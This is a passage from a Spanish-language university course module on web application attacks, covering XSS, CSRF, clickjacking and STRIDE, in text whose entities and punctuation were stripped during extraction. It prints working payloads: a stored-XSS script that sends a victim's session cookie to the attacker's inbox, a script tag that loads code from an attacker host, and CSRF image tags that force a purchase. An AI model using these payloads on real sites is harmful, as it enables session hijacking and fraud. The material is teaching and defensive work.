gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

